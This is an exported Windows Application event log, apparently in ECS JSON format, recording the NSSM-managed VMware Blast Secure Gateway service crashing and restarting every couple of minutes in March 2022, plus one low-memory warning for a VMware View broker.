{"@timestamp":1646784394881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163861}}
{"@timestamp":1646784523359,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163862}}
{"@timestamp":1646784523361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163863}}
{"@timestamp":1646784523362,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161720","0"]}}},"module":"Application","provider":"nssm","sequence":163864}}
{"@timestamp":1646784523362,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161720","161720","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163865}}
{"@timestamp":1646784523385,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163866}}
{"@timestamp":1646784523386,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163867}}
{"@timestamp":1646784523387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163868}}
{"@timestamp":1646784523388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163869}}
{"@timestamp":1646784651864,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163870}}
{"@timestamp":1646784651866,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163871}}
{"@timestamp":1646784651867,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161492","0"]}}},"module":"Application","provider":"nssm","sequence":163872}}
{"@timestamp":1646784651867,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161492","161492","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163873}}
{"@timestamp":1646784651885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163874}}
{"@timestamp":1646784651886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163875}}
{"@timestamp":1646784651887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163876}}
{"@timestamp":1646784651887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163877}}
{"@timestamp":1646784780381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163878}}
{"@timestamp":1646784780383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163879}}
{"@timestamp":1646784780384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160828","0"]}}},"module":"Application","provider":"nssm","sequence":163880}}
{"@timestamp":1646784780384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160828","160828","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163881}}
{"@timestamp":1646784780405,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163882}}
{"@timestamp":1646784780405,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163883}}
{"@timestamp":1646784780406,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163884}}
{"@timestamp":1646784780407,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163885}}
{"@timestamp":1646784908928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163886}}
{"@timestamp":1646784908929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163887}}
{"@timestamp":1646784908930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161224","0"]}}},"module":"Application","provider":"nssm","sequence":163888}}
{"@timestamp":1646784908930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161224","161224","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163889}}
{"@timestamp":1646784908949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163890}}
{"@timestamp":1646784908950,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163891}}
{"@timestamp":1646784908951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163892}}
{"@timestamp":1646784908951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163893}}
{"@timestamp":1646785037437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163894}}
{"@timestamp":1646785037439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163895}}
{"@timestamp":1646785037439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160964","0"]}}},"module":"Application","provider":"nssm","sequence":163896}}
{"@timestamp":1646785037440,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160964","160964","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163897}}
{"@timestamp":1646785037457,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163898}}
{"@timestamp":1646785037457,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163899}}
{"@timestamp":1646785037458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163900}}
{"@timestamp":1646785037458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163901}}
{"@timestamp":1646785165974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163902}}
{"@timestamp":1646785165974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163903}}
{"@timestamp":1646785165975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159844","0"]}}},"module":"Application","provider":"nssm","sequence":163904}}
{"@timestamp":1646785165975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159844","159844","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163905}}
{"@timestamp":1646785165993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163906}}
{"@timestamp":1646785165994,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163907}}
{"@timestamp":1646785165995,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163908}}
{"@timestamp":1646785165995,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163909}}
{"@timestamp":1646785184854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Mar 09 01:19:44 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":163910}}
{"@timestamp":1646785294470,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163911}}
{"@timestamp":1646785294471,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163912}}
{"@timestamp":1646785294472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160904","0"]}}},"module":"Application","provider":"nssm","sequence":163913}}
{"@timestamp":1646785294473,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160904","160904","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163914}}
{"@timestamp":1646785294489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163915}}
{"@timestamp":1646785294489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163916}}
{"@timestamp":1646785294490,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163917}}
{"@timestamp":1646785294490,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163918}}
{"@timestamp":1646785423205,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163919}}
{"@timestamp":1646785423206,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163920}}
{"@timestamp":1646785423207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161060","0"]}}},"module":"Application","provider":"nssm","sequence":163921}}
{"@timestamp":1646785423208,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161060","161060","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163922}}
{"@timestamp":1646785423230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163923}}
{"@timestamp":1646785423231,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163924}}
{"@timestamp":1646785423231,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163925}}
{"@timestamp":1646785423232,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163926}}
{"@timestamp":1646785551704,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163927}}
{"@timestamp":1646785551706,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163928}}
{"@timestamp":1646785551707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159556","0"]}}},"module":"Application","provider":"nssm","sequence":163929}}
{"@timestamp":1646785551707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159556","159556","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163930}}
{"@timestamp":1646785551727,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163931}}
{"@timestamp":1646785551728,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163932}}
{"@timestamp":1646785551728,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163933}}
{"@timestamp":1646785551729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163934}}
{"@timestamp":1646785680215,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163935}}
{"@timestamp":1646785680216,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163936}}
{"@timestamp":1646785680216,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158520","0"]}}},"module":"Application","provider":"nssm","sequence":163937}}
{"@timestamp":1646785680217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158520","158520","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163938}}
{"@timestamp":1646785680239,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163939}}
{"@timestamp":1646785680239,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163940}}
{"@timestamp":1646785680240,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163941}}
{"@timestamp":1646785680241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163942}}
{"@timestamp":1646785808711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163943}}
{"@timestamp":1646785808712,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163944}}
{"@timestamp":1646785808713,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161068","0"]}}},"module":"Application","provider":"nssm","sequence":163945}}
{"@timestamp":1646785808714,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161068","161068","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163946}}
{"@timestamp":1646785808734,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163947}}
{"@timestamp":1646785808735,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163948}}
{"@timestamp":1646785808735,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163949}}
{"@timestamp":1646785808736,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163950}}
{"@timestamp":1646785937382,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163951}}
{"@timestamp":1646785937382,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163952}}
{"@timestamp":1646785937383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161196","0"]}}},"module":"Application","provider":"nssm","sequence":163953}}
{"@timestamp":1646785937383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161196","161196","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163954}}
{"@timestamp":1646785937403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163955}}
{"@timestamp":1646785937403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163956}}
{"@timestamp":1646785937404,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163957}}
{"@timestamp":1646785937405,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163958}}
{"@timestamp":1646786065876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163959}}
{"@timestamp":1646786065878,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163960}}
{"@timestamp":1646786065879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160908","0"]}}},"module":"Application","provider":"nssm","sequence":163961}}
{"@timestamp":1646786065879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160908","160908","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163962}}
{"@timestamp":1646786065899,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163963}}
{"@timestamp":1646786065900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163964}}
